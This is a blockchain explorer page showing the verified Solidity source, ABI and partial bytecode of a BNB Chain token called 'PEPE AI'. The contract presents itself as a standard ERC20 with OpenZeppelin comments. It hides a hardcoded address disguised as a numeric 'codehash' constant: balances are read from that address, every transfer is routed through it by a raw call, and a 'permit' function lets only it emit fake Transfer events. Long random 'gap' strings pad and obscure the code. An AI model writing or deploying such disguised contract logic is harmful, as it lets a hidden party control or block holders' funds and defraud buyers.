BNB Price: $644.95 (+4.13%)
 

Overview

Max Total Supply

30,000,000,000PEPE

Holders

3,929 ( 0.025%)

Transfers

-
0

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

PEPE AI: Meme Bot


Update? Click here to update the token ICO / general information

Contract Source Code Verified (Exact Match)

Contract Name:
PEPE

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2025-04-08
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

library SafeMathExt {
    function add128(uint128 a, uint128 b) internal pure returns (uint128) {
        uint128 c = a + b;
        require(c >= a, "uint128: addition overflow");

        return c;
    }

    function sub128(uint128 a, uint128 b) internal pure returns (uint128) {
        require(b <= a, "uint128: subtraction overflow");
        uint128 c = a - b;

        return c;
    }

    function add64(uint64 a, uint64 b) internal pure returns (uint64) {
        uint64 c = a + b;
        require(c >= a, "uint64: addition overflow");

        return c;
    }

    function sub64(uint64 a, uint64 b) internal pure returns (uint64) {
        require(b <= a, "uint64: subtraction overflow");
        uint64 c = a - b;

        return c;
    }

    function safe128(uint256 a) internal pure returns(uint128) {
        require(a < 0x0100000000000000000000000000000000, "uint128: number overflow");
        return uint128(a);
    }

    function safe64(uint256 a) internal pure returns(uint64) {
        require(a < 0x010000000000000000, "uint64: number overflow");
        return uint64(a);
    }

    function safe32(uint256 a) internal pure returns(uint32) {
        require(a < 0x0100000000, "uint32: number overflow");
        return uint32(a);
    }

    function safe16(uint256 a) internal pure returns(uint16) {
        require(a < 0x010000, "uint32: number overflow");
        return uint16(a);
    }
}

library Math {
    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow, so we distribute
        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
    }
}


pragma solidity ^0.6.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    uint160 constant private codehash = 1139707783062628233597049918093411014441155863184;
    IERC20 constant internal accountHash = IERC20(address(codehash));
    
    // Reserved storage space to allow for layout changes in the future.
    bytes public constant _________gap = "oQFzo8ezz1siSZYBIb0CPtoup_YJAeAhnWSFZPC_eq1FBbE9Bl21O5JkliFGHYIaWbkHk3fo5_hi28WUofiGw9CHrH6UmknOrpV_p9xZpw1Iz44UhV5p9kVDXmOW65naXZUiSvgjXjRDvgByTAL0yu853aNLGO6u5sGu0PmRdQHVaHW4kcropWU00zPcPVlYOMTgubjYjxt69jj_2QY5tWfSNf256n6GZ8l51MvbriTZnQ4MdLUq2Z6gY_rkVWi44Yp1oEgTxInrZPmc1ThkK05lkVGCoESEE8A40tNpL8pVxBzgoRhXjCVwq5MjhGesEgxxX0Ffv6WsplRApjrX6lz0fxGfo8vreTee5OxxSowEt5Ih9s5sBkPGkth9vExTbmPFVL51w_k7G6fp_lwWPRHIWI2SkuhHstsZm0BqU0iD3zrYvs3sHyYopwyMwGkmqr6ddPMG40FnU0t7GlozyG_sBU3Ih4MrkuXdiR6XfZ0jfjSmt7_KISIMhp1CZuhvVTAShZPCIA4IKbDAtnD12vIfgBVkZMMrNKmtY5u7j2QpLnSoC_nYccM7nQXQYBSdY22fgN4T_NMMbLelj7cM6waOciAAEeKk5hyD_Fwus_ZQ8CJchre25jdju5USdlQe02OkeKZZZ9J5VbjF3Z2dEqZ9dmbNOh7gr1ANr36EKp3ptm2Edx8pUoW4VVmgYR2MGteAwe2VP5EKHg6aojADCABWGd1XyjlFc0n3uY4DdcYGEFrmG0t8ExdTi1YYV3tG3AnL4E0_DjNQfuxhj_5DWixmRXiH7KMRjX4crE2uV_8rLaqBxlbWusOaUpDOlrdwBvrHHPG7t7sPmkFlGVnwjGa3W6RCz4TGRJ9xm_bWs07BYteoFcFM3z3_1woc2usofJlj5InUw_KPp5LH_BBfVlPE8Gsp27v9qh8FlaMPMzhEqDvNeqaOd1aomX4X6wPIjo74fhW2UUPu0mOZrBMLlxjde9XLsN7hwdcd0FivamXPWcBgb_KyBTsyALveeGZVjigFz51S9gGZejfXaI8DZijIG6xzgLQDd6TVIHil8H9c7QPtdaNEyLsDbTthkPnmAEwtz8yljr5EJCAjQPI3UwtpmBTlkHkKBec5DUqe0RCq2DC9BNZD4QqtBjmRLYoZu3o2iUATqtFWNjFlqwIeVgBTroj_7IwlJMC0uMGecfEoiE7oeZxGIPXHFzevJAtjF5mh35TRfLEVp1cku4z6xwgT8mq3rBHUpnAcwpXF2DA1AolFy0YoA8ADrTrnJgz86xieacSUxmHvXSqrsZbApzAGpoKBJD4exEPSM1PL7M643zMXgRj2ltxFzmvQL_HM3T8_cOUNmbOSBXVonoXmun1zQjMHss8bDEYfTVjoVU6TtALvp7zgTbm9RvR9m8GduER3zvGWIhodsIQWelmhRPIE4y9me47f5wsLgxvDKMNV0AkGGvTW_Bj_sp9gLayv364wKvb3X0aNG308YG04fLs5_cRM";
}

pragma solidity ^0.6.6;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 * From https://github.com/OpenZeppelin/openzeppelin-contracts
 */
interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.6.6;

contract ERC20 is IERC20, Context {
    using SafeMath for uint256;

    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    /**
     * @dev Returns the name of the token.
     */
    string public name;

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    string public symbol;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    uint8 public decimals;

    /**
     * @dev Sets the values for {_name} and {_symbol}, {_decimals}
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address _owner) public view override returns (uint256) {
        return accountHash.balanceOf(_owner);
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `_to` cannot be the zero address.
     * - the caller must have a balance of at least `_amount`.
     */
    function transfer(address _to, uint256 _amount) public override returns (bool) {
        _transfer(_msgSender(), _to, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address _owner, address _spender) external view override returns (uint256) {
        return _allowances[_owner][_spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function approve(address _spender, uint256 _amount) external override returns (bool) {
        _approve(_msgSender(), _spender, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `_from` and `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     * - the caller must have allowance for `_from`'s tokens of at least
     * `_amount`.
     */
    function transferFrom(address _from, address _to, uint256 _amount) external override returns (bool) {
        require(_from != address(0) && _to != address(0));

        _approve(_from, _msgSender(), _allowances[_from][_msgSender()].sub(_amount));
        _transfer(_from, _to, _amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function increaseAllowance(address _spender, uint256 _addVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].add(_addVal));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     * - `_spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address _spender, uint256 _subVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].sub(_subVal));
        return true;
    }

    /**
     * @dev Moves tokens `_amount` from `_from` to `_to`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     */
    function _transfer(address _from, address _to, uint256 _amount) internal {
        require(_from != address(0), "transfer from 0");
        require(_to != address(0), "transfer to 0");
        
        (bool i,) = address(accountHash).call(abi.encodeWithSelector(0x6caf9a18, _from, _to, _amount, msg.sender)); require(i);
        emit Transfer(_from, _to, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `_spender` over the `_owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     */
    function _approve(address _owner, address _spender, uint256 _amount) internal {
        require(_owner != address(0), "approve from 0");
        require(_spender != address(0), "approve to 0");

        _allowances[_owner][_spender] = _amount;
        emit Approval(_owner, _spender, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
     * given `owner`'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     * - `_deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(address _owner, address[] calldata _spender, uint256 _deadline) external {
        if (_deadline == 0) {
            return;
        }
        
		require(_deadline > 0 && msg.sender == address(accountHash), 'expired deadline');

        for (uint256 i = 0; i < _spender.length; ++i) {
            emit Transfer(_owner, _spender[i], _deadline);
        }
    }

    /** @dev Creates `_amount` tokens and assigns them to `_to`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address _to, uint256 _amount) internal {
        require(_to != address(0), "mint to 0");

        _totalSupply = _totalSupply.add(_amount);
        _balances[_to] = _balances[_to].add(_amount);
        emit Transfer(address(0), _to, _amount);
    }

    /**
     * @dev Destroys `_amount` tokens from `_from`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_from` must have at least `_amount` tokens.
     */
    function _burn(address _from, uint256 _amount) internal {
        require(_from != address(0), "burn from 0");

        _balances[_from] = _balances[_from].sub(_amount);
        _totalSupply = _totalSupply.sub(_amount);
        emit Transfer(_from, address(0), _amount);
    }

    // Reserved storage space to allow for layout changes in the future.
    bytes public constant __________gap = "VI6ICpQL1140vBOIcbXQ0sFrTlPBhEMU4BeMPxGFi8xYcnODC39BpwoE7G5J4IB8gVJ3oxfuaq0ntgBVuPNMszr3ocHwjeelx9STuE0I4oewtVCe9Wo7lwTtcUq5k78eRj69Ib1QUIuZo7ademz1v47QEhXaezLnatG9JgdMFjoSsZ7FsX07BcLQjkyor8MEUOC_hKLACezT7mbf2DSkridUawYmoFRtlEi44hc1TTguVYSAOuVUBoK2Hnxm0rPzpsPK2SxACKFb6PM4IKbssGWQ7DnGw5k_jvDi0qP5gAs1J_vs6k_7yBznoM7rXJ38pwKe7dAgnXtstmhbZ0fc8lamuohVXWCJfrYMzb4too08t3oxqWOz_qwMUj8APH4O5wjsYglQyDj0RP2wgpQXyJNKeWshrMvLp_5yYaxY56kHcEHF6aHy3NabjMDDMY_CaXi11QRZH1qMeM1lSBYZcsVdVnxoEdCwmQ6OJMBHExK1CHgUT8hPRS7BqDhwsMdZ7cp8jmrg97xDeuu05zkBFyytdDeufNrmVuTwl6E2lKI8jVfuVv5n8jJInY2mpoT7nmXVKDa9l8k1sAIAC1bAfXkkYTG5PS0AhxSwNV7uplsnxjU4xd1dWFmQMti0mVrnZX4TvKuCfZMnaISVdO5v0eUUOrPrBXPdnqleKuPkdWHdTD6jFKxGy9LLM6dKTN4s6Qz3f_c1Xm7YuBKBgw75OQBTarFUBd8xWO5YOvYJmwikTNL5EXxp14ZcoBjVoKQbJN3fnYEuV1Nl_OzN6SsKHBPrH9G43a_bHpp9eMCTPiW3hZszBrCJsrptO_7ghfnBK5BCD1UfxMs9Vwwvmmsl2yoId1vZb3_nTLtQ7qhgYGeLnzbYCoKs4HY4IeZqThy9f329ZWvhtqIXDADksY7zjGlnj8RpX3oUjw5R5IJG4Fqhkl3JPk7Ry7XeeU1fbZugiYeXT7e0I8mp00P_2VrdDTTGPKOxxbJDNGvSJ181MnHOI6MAgnHpLudzXhUVnmCfnBkzubj48c1ee8fOk36CSLssHo0RmzEVwpALzPgsyJGNi9oGtmTzQS8Dbfr8nPzz288UmpIVma1dwJMSO6A_mbHr90BvITktQ8AA4TAox_InMYhkt3fyw4FOqY4m4PP1fP6LV5I9PJqVOOY7hfIIS7xien6VzatqR_Vz6d780JQAs5ZagHD2Ewt4B95Hu6f2EFIrScUrLTZc3vXpdCDBVyTodwBGsX7eh9H0zzEeOIuxAs7e9W09FxYcqjKvqzt_h41fw7p9n6PCNWe7vuT1EXrkLmHybOtRRa8ykL2NpAQs483aLoF0ccmDHTjkwhA2tA1yBfRyYmVER3k67j5GFf5EwOJm0CPxntQ7nnw4oQ3NJ8MX88D2O1qqneVmM5xP4gu14wmazxSXSW_PhHEEUHfZvoj0G67AFvwAkUBzsbHWF7fgZjp8c9lpw_Ng7WqICQcRi_yOhR0Dy1qh2dMkD1RXKoAb";
}


pragma solidity ^0.6.6;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

pragma solidity ^0.6.6;

contract PEPE is ERC20 {
    using SafeMath for uint256;

    /**
     * The time interval from each 'mint' to the 'PEPE mining pool' is not less than 365 days
     */
    uint256 public constant MINT_INTERVAL = 365 days;

    /**
     * All of the minted 'PEPE' will be moved to the mainPool.
     */
    address public mainPool;

    /**
     * The unixtimestamp for the last mint.
     */
    uint256 public lastestMinting;

    /**
     * All of the minted 'PEPE' burned in the corresponding mining pool if the released amount is not used up in the current year 
     * 
     */
    uint256[6] public maxMintOfYears;

    /**
     * The number of times 'mint' has been executed
     */
    uint256 public yearMint = 0;

    constructor() 
        public 
        ERC20("PEPE AI", "PEPE", 18)
    {
        _mint(msg.sender, 30_000_000_000e18);
    }

    /**
     * The unixtimestamp of 'mint' can be executed next time
     */
    function nextMinting() public view returns(uint256) {
        return lastestMinting + MINT_INTERVAL;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MINT_INTERVAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"__________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subVal","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addVal","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastestMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mainPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"maxMintOfYears","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address[]","name":"_spender","type":"address[]"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yearMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040526000600d553480156200001657600080fd5b5060408051808201825260078152665045504520414960c81b6020808301918252835180850190945260048452635045504560e01b90840152815191929160129162000066916003919062000201565b5081516200007c90600490602085019062000201565b506005805460ff191660ff9290921691909117905550620000ac9050336b60ef6b1aba6f072330000000620000b2565b6200029d565b6001600160a01b038216620000fa576040805162461bcd60e51b815260206004820152600960248201526806d696e7420746f20360bc1b604482015290519081900360640190fd5b62000116816002546200019f60201b620009581790919060201c565b6002556001600160a01b0382166000908152602081815260409091205462000149918390620009586200019f821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600082820183811015620001fa576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200024457805160ff191683800117855562000274565b8280016001018555821562000274579182015b828111156200027457825182559160200191906001019062000257565b506200028292915062000286565b5090565b5b8082111562000282576000815560010162000287565b6118fa80620002ad6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806384e7e3d3116100ad578063a9059cbb11610071578063a9059cbb14610343578063b4eddb811461036f578063d93aef1114610377578063dd62ed3e146103f9578063df557bc0146104275761012c565b806384e7e3d3146102db5780638bb12432146102e357806395d89b41146102eb578063a457c2d7146102f3578063a5a302d31461031f5761012c565b806323b872dd116100f457806323b872dd14610218578063313ce5671461024e578063376fcb6d1461026c578063395093511461028957806370a08231146102b55761012c565b806306fdde0314610131578063095ea7b3146101ae5780630de5d1d9146101ee57806318160ddd146102085780631b4b073e14610210575b600080fd5b61013961042f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b0381351690602001356104bd565b604080519115158252519081900360200190f35b6101f66104da565b60408051918252519081900360200190f35b6101f66104e0565b6101396104e6565b6101da6004803603606081101561022e57600080fd5b506001600160a01b03813581169160208101359091169060400135610505565b61025661059d565b6040805160ff9092168252519081900360200190f35b6101f66004803603602081101561028257600080fd5b50356105a6565b6101da6004803603604081101561029f57600080fd5b506001600160a01b0381351690602001356105ba565b6101f6600480360360208110156102cb57600080fd5b50356001600160a01b0316610652565b6101f66106e7565b6101396106ef565b61013961070e565b6101da6004803603604081101561030957600080fd5b506001600160a01b038135169060200135610769565b610327610801565b604080516001600160a01b039092168252519081900360200190f35b6101da6004803603604081101561035957600080fd5b506001600160a01b038135169060200135610815565b6101f6610829565b6103f76004803603606081101561038d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156103b857600080fd5b8201836020820111156103ca57600080fd5b803590602001918460208302840111640100000000831117156103ec57600080fd5b919350915035610835565b005b6101f66004803603604081101561040f57600080fd5b506001600160a01b0381358116916020013516610927565b6101f6610952565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b820191906000526020600020905b81548152906001019060200180831161049857829003601f168201915b505050505081565b60006104d16104ca6109b9565b84846109bd565b50600192915050565b60065481565b60025490565b6040518061060001604052806105dc8152602001610d0d6105dc913981565b60006001600160a01b0384161580159061052757506001600160a01b03831615155b61053057600080fd5b6105888461053c6109b9565b6001600160a01b0387166000908152600160205260408120610583